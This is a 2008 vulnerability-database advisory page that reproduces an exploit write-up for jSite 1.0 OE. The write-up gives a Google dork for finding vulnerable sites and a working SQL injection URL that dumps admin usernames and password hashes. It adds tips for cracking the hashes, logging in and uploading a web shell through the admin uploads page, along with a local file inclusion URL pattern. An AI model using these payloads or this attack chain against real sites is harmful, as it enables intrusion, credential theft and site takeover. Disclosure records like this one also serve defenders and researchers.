|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||||
SecurityAlert : 3999 CVE : CVE-2008-3192 CVE : CVE-2008-3193 CWE : Not in CWE SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Available : Yes
Credit : S.W.A.T Published : 17.07.2008
Advisory Content : --==+====================================================================== ==========+==-- --==+ jSite 1.0 OE Multiple Remote SQL/LFI Vulnerbility +==-- --==+====================================================================== ==========+==-- -=-=--=-=-=-=-=-=-=-=-=-=-=-=-=[ SQL Injection Exploit ]=-=-=-=-=-=-=-=-=-=-=-=- AUTHOR: S.W.A.T. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-= -=-=- Download: http://www.sclek.com/jsite.zip -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=- DORK (google): "Powered by jSite 1.0 OE" -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=- DESCRIPTION: You Can See Admin User & MD5 Password ..::.. Then You Can Crack It & Login ;) -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=- EXPLOITS: www.site.com/?page=-1/**/union/**/select/**/1,2,3,concat_ws (0x3a,user,pass),admin/**/from/**/jsite_users/* -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=- NOTE/TIP: 1 Week Off & I Be Back :D ;) Admin Login Is At /admin/ U Can Upload Your Shell When U Login Successfully From This Link: www.site.com/admin/index.php?menu=uploads & Your Shell Will Be Appear Here: www.site.com/uploads/[file].php -=-=-=-=-=-=--=-=-=-=-=-=-=-[ Local File Inclusion ]=-=-=-=-=-=-=-=-=-=-=-=-=-=- Exploit: www.[target].com/Script/index.php?module=[LFI] --==+====================================================================== ==========+==-- --==+ jSite 1.0 OE Multiple Remote SQL/LFI Vulnerbility +==-- --==+====================================================================== ==========+==-- References : http://securityreason.com/expldownload/1/4308/1 (Exploit) http://xforce.iss.net/xforce/xfdb/43746
http://www.securityfocus.com/bid/30206
http://www.milw0rm.com/exploits/6057
http://secunia.com/advisories/31049  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||||
| Alert | ||
libopie __readrec() off-by-one
This advisory is related to new FreeBSD advisory FreeBSD-SA-10:05.opie. |
||
| Apache |  |
|
» Apache ActiveMQ 5.4.0 |
||
| PHP | |
|
» PHP 5.2.12/5.3.1 |
||
- 2010-04-23| Copyright © SecurityReason.com. All Rights Reserved. |